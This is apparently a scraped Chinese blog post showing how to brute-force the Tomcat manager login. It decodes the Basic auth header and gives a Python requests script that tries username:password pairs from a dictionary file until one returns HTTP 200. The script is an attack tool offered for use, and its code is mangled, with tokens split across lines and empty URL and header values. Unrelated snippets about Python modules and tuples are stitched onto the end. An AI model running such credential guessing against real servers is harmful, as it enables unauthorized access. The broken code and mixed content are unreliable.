使用python3對tomcat後台爆破

2021-09-29 02:49:55 字數 1222 閱讀 7417

tomcat後台的位址是

通過谷歌遊覽器的無痕視窗檢查分析,發現請求頭的

authorization: basic ywrtaw46mtizna==可能是使用者名稱和密碼

tomcat對使用者名稱和密碼進行了加密,根據等號,加密演算法可能是base64

對ywrtaw46mtizna==進行base64解密,發現是使用者名稱:密碼

使用python3 的requests模組對tomcat後台進行爆破

import requests

import base64

url =

""with

open

("dict.txt"

,"r"

)as f:

while1:

# 取出字典中的使用者名稱和密碼

passwd = f.readline()[

:-1]

# 如果為空,dick.txt檔案的最後一行,退出執行

if passwd =="":

break

# 對使用者名稱和密碼進行base64加密

authorization =

"basic "

+ base64.b64encode(passwd.encode(

"utf-8"))

.decode(

"utf-8"

) headers =

response = requests.get(url, headers=headers)

print

(response.status_code)

# 根據返回的狀態碼,判斷使用者名稱和密碼是否正確

if response.status_code ==

200:

print

("success"

)print

("使用者名稱:密碼"

+ passwd)

break

dict.txt 內容如下

tomcat:

1234

admin:

1234

python3使用 python3使用模組

python內建了很多非常有用的模組,只要安裝完畢,這些模組就可以立刻使用。我們以內建的sys模組為例,編寫乙個hello的模組 usr bin env python3 coding utf 8 a test module author michael liao import sys def tes...

python 元組使用 Python3

python3 元組 python 的元組與列表類似,不同之處在於元組的元素不能修改。元組使用小括號 列表使用方括號 元組建立很簡單,只需要在括號中新增元素,並使用逗號隔開即可。例項 python 3.0 tup1 google runoob 1997,2000 tup2 1,2,3,4,5 tup...

Python3 使用模組

python本身就內建了很多非常有用的模組,只要安裝完畢,這些模組就可以立刻使用。我們以內建的sys模組為例,編寫乙個hello的模組 usr bin env python3 coding utf 8 a test module author michael liao import sys def ...